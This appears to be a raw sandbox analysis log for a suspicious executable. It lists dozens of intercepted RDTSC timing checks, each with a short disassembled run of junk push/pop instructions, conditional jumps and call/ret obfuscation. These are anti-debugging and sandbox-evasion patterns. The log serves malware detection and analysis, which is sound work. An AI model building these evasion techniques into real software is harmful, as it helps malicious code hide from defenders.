Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 363798 second address: 36379E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 363E7A second address: 363E9E instructions: 0x00000000 rdtsc 0x00000002 js 00007F99C0D73D52h 0x00000008 jmp 00007F99C0D73D4Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jno 00007F99C0D73D46h 0x0000001d rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 363F26 second address: 363F2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 363F2A second address: 363F67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a jmp 00007F99C0D73D4Dh 0x0000000f pop ecx 0x00000010 push eax 0x00000011 jmp 00007F99C0D73D51h 0x00000016 pop eax 0x00000017 popad 0x00000018 xchg eax, ebx 0x00000019 mov esi, 317457EFh 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 je 00007F99C0D73D48h 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 364A11 second address: 364A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ecx 0x00000009 call 00007F99C163FAF8h 0x0000000e pop ecx 0x0000000f mov dword ptr [esp+04h], ecx 0x00000013 add dword ptr [esp+04h], 00000018h 0x0000001b inc ecx 0x0000001c push ecx 0x0000001d ret 0x0000001e pop ecx 0x0000001f ret 0x00000020 jnc 00007F99C163FAF6h 0x00000026 push 00000000h 0x00000028 jmp 00007F99C163FB08h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007F99C163FAF8h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 0000001Dh 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 movsx edi, cx 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 push edi 0x00000052 pop edi 0x00000053 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 364A88 second address: 364A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 364A8C second address: 364A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 364A92 second address: 364A97 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 365428 second address: 36549D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FB02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F99C163FAF8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 mov edi, dword ptr [ebp+122D2B9Eh] 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edx 0x00000033 call 00007F99C163FAF8h 0x00000038 pop edx 0x00000039 mov dword ptr [esp+04h], edx 0x0000003d add dword ptr [esp+04h], 0000001Ah 0x00000045 inc edx 0x00000046 push edx 0x00000047 ret 0x00000048 pop edx 0x00000049 ret 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F99C163FB01h 0x00000052 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 366EDF second address: 366EEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C0D73D4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 366EEE second address: 366EF3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 367908 second address: 367916 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 367916 second address: 36791A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36791A second address: 36791E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36791E second address: 367924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 367924 second address: 367929 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 368E4A second address: 368E50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 368E50 second address: 368E7C instructions: 0x00000000 rdtsc 0x00000002 js 00007F99C0D73D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f clc 0x00000010 push 00000000h 0x00000012 jbe 00007F99C0D73D4Ch 0x00000018 mov dword ptr [ebp+122D33FEh], ebx 0x0000001e push 00000000h 0x00000020 and si, 1808h 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push esi 0x0000002b pop esi 0x0000002c rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 368E7C second address: 368E82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 368E82 second address: 368E88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 368E88 second address: 368E8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36E5B2 second address: 36E5CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C0D73D56h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36E5CC second address: 36E5D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36E683 second address: 36E68E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F99C0D73D46h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36F587 second address: 36F5FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 jo 00007F99C163FAFCh 0x0000000e xor dword ptr [ebp+122D1B69h], edx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F99C163FAF8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007F99C163FAF8h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000014h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c xchg eax, esi 0x0000004d push ebx 0x0000004e jo 00007F99C163FB0Eh 0x00000054 jmp 00007F99C163FB08h 0x00000059 pop ebx 0x0000005a push eax 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e push edx 0x0000005f pop edx 0x00000060 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 37060D second address: 370611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 370611 second address: 370650 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F99C163FAF8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 mov bx, E8A8h 0x00000026 push 00000000h 0x00000028 mov ebx, eax 0x0000002a push 00000000h 0x0000002c or di, BB0Ch 0x00000031 xchg eax, esi 0x00000032 pushad 0x00000033 push ebx 0x00000034 push esi 0x00000035 pop esi 0x00000036 pop ebx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 370650 second address: 370654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 371663 second address: 37166C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3735B6 second address: 373628 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F99C0D73D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push ecx 0x0000000d ja 00007F99C0D73D4Ch 0x00000013 pop ecx 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F99C0D73D48h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f movsx edi, bx 0x00000032 mov bx, ax 0x00000035 jmp 00007F99C0D73D54h 0x0000003a push 00000000h 0x0000003c mov dword ptr [ebp+122D1B64h], edx 0x00000042 clc 0x00000043 push 00000000h 0x00000045 movsx edi, dx 0x00000048 xchg eax, esi 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F99C0D73D4Eh 0x00000050 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3773D8 second address: 3773E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F99C163FAF6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3773E2 second address: 3773E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 378339 second address: 37833F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 37833F second address: 378348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 37A144 second address: 37A167 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F99C163FB06h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 37A167 second address: 37A1AC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F99C0D73D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F99C0D73D48h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 clc 0x00000029 push 00000000h 0x0000002b mov bx, 0B11h 0x0000002f xchg eax, esi 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushad 0x00000034 popad 0x00000035 jng 00007F99C0D73D46h 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 37A1AC second address: 37A1B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F99C163FAF6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 37C269 second address: 37C26F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36A274 second address: 36A27A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36F8B6 second address: 36F8D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99C0D73D4Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F99C0D73D46h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36F8D1 second address: 36F8D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3727D2 second address: 3727E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnp 00007F99C0D73D54h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3727E3 second address: 3727E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 37462A second address: 374630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 376564 second address: 3765C7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F99C163FAF8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F99C163FAF8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push dword ptr fs:[00000000h] 0x0000002e mov dword ptr fs:[00000000h], esp 0x00000035 mov ebx, dword ptr [ebp+122D3A07h] 0x0000003b mov ebx, dword ptr [ebp+122D3783h] 0x00000041 mov eax, dword ptr [ebp+122D0805h] 0x00000047 push FFFFFFFFh 0x00000049 nop 0x0000004a push ecx 0x0000004b pushad 0x0000004c pushad 0x0000004d popad 0x0000004e jbe 00007F99C163FAF6h 0x00000054 popad 0x00000055 pop ecx 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3765C7 second address: 3765CD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3775DC second address: 3775E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 37A2E4 second address: 37A2EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 37A2EA second address: 37A2EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 37B3BA second address: 37B3DD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F99C0D73D56h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 37B3DD second address: 37B3F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C163FB04h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 37B3F5 second address: 37B3F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 38406A second address: 3840AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FAFAh 0x00000007 jmp 00007F99C163FB05h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F99C163FB07h 0x00000013 pushad 0x00000014 push ebx 0x00000015 push esi 0x00000016 pop esi 0x00000017 pop ebx 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3840AC second address: 3840B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 38435C second address: 384361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3876C5 second address: 3876CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3876CA second address: 38773D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FAFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007F99C163FB00h 0x00000010 pushad 0x00000011 ja 00007F99C163FAF6h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e jmp 00007F99C163FAFCh 0x00000023 mov eax, dword ptr [eax] 0x00000025 jns 00007F99C163FAFEh 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f pushad 0x00000030 jmp 00007F99C163FB05h 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F99C163FB03h 0x0000003c rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 38773D second address: 387741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3878E9 second address: 3878F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F99C163FAF6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3879DA second address: 3879DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3879DE second address: 3879F9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jbe 00007F99C163FAF6h 0x00000014 jnp 00007F99C163FAF6h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3879F9 second address: 387A0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F99C0D73D46h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 38FD53 second address: 38FD73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99C163FB03h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F99C163FAF6h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 38FD73 second address: 38FD77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 38E9C2 second address: 38E9DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99C163FAFCh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F99C163FAF6h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 38F191 second address: 38F196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 38F196 second address: 38F1BF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push edi 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F99C163FB08h 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 38F1BF second address: 38F1C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 38F328 second address: 38F338 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FAFAh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 38F338 second address: 38F355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C0D73D57h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 38F355 second address: 38F359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 38F4DD second address: 38F4F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C0D73D51h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 38FB9A second address: 38FB9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 38FB9F second address: 38FBE6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F99C0D73D55h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jne 00007F99C0D73D61h 0x00000012 jmp 00007F99C0D73D55h 0x00000017 jc 00007F99C0D73D46h 0x0000001d push eax 0x0000001e push edx 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 ja 00007F99C0D73D46h 0x00000027 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 38FBE6 second address: 38FBEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 396794 second address: 3967C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F99C0D73D55h 0x0000000c jo 00007F99C0D73D5Ch 0x00000012 jmp 00007F99C0D73D50h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
